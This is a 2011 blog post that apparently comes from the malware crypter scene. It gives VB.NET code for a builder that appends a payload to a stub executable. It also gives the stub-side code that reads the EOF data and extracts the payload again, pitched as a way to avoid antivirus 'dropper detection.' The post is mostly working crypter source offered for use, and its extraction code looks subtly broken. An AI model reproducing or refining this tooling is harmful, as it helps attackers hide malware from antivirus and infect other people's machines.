02 December, 2011

New way of EOF Data (No Dropper Detection)

Hi
I just tried somethings in vb and found a new way of writing/reading eof data without detection and filesplit.
So let's start:
Code:
Public Sub write_file(ByVal stub As String, ByVal file As String, ByVal output_path As String)
        Dim size As Long
        size = file.Length
        FileOpen(1, output_path, OpenMode.Binary, OpenAccess.Write, OpenShare.Default)
        FilePut(1, stub & file & size)
        FileClose()
    End Sub
This function will take both input file ( stub + file to crypt) then it will write both file toghether without splitting them !!! At the end of the new file the function will write the lenght of the string of the second file (also without filesplit)
No you will think : Who can you now split them again?
First of all I'll give credits to xKillerxPanther for his Function for reading EOF data. Then I'll continue to my functions.
here is the code for the stub to split them again:
Code:
Public Function extract_file(ByVal path As String) As String
        Dim read_sze As String = ReadEOFData(path)
        Dim in1 As String
        Dim ex As String
        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        in1 = Space(LOF(1))
        FileGet(1, in1)
        FileClose()
        ex = in1.Substring(in1.Length - read_sze.Length - read_sze, read_sze)
        Return ex
    End Function
    Public Function ReadEOFData(ByRef FilePath As String) As String
        Dim EOFBuf As String
        Dim lPos As Integer
        If Dir(FilePath) = "" Then
            Exit Function
        End If
        Dim ReadFile As String = IO.File.ReadAllText(FilePath)
        lPos = InStr(1, StrReverse(ReadFile), GetNullBytes(30))
        EOFBuf = (Mid(StrReverse(ReadFile), 1, lPos - 1))
        ReadEOFData = StrReverse(EOFBuf)
        If ReadEOFData = "" Then
        End If
        Exit Function
    End Function
    Public Function GetNullBytes(ByRef lNum As Object) As String
        Dim Buf As String
        Dim i As Short
        For i = 1 To lNum
            Buf = Buf & Chr(0)
        Next
        GetNullBytes = Buf
    End Function
First of all my function will read the eof data this only contains the lenght of the second file. Then the function reads the complete server and after that it will generate a substring starting at the start of the second file to the end of the file and so the second file will be extracted again and you will have no Dropper Detection.
I hope you like it and give me proper credits. This is an inovation in the development of crypters because it will make the EOF attractive again without Junk Code or Icons.
Your pr0t0typ3
P.S. Leechers have small balls !!!!! Say at least thanks !

Labels:

0 Comments:

Post a Comment

Subscribe to Post Comments [Atom]

<< Home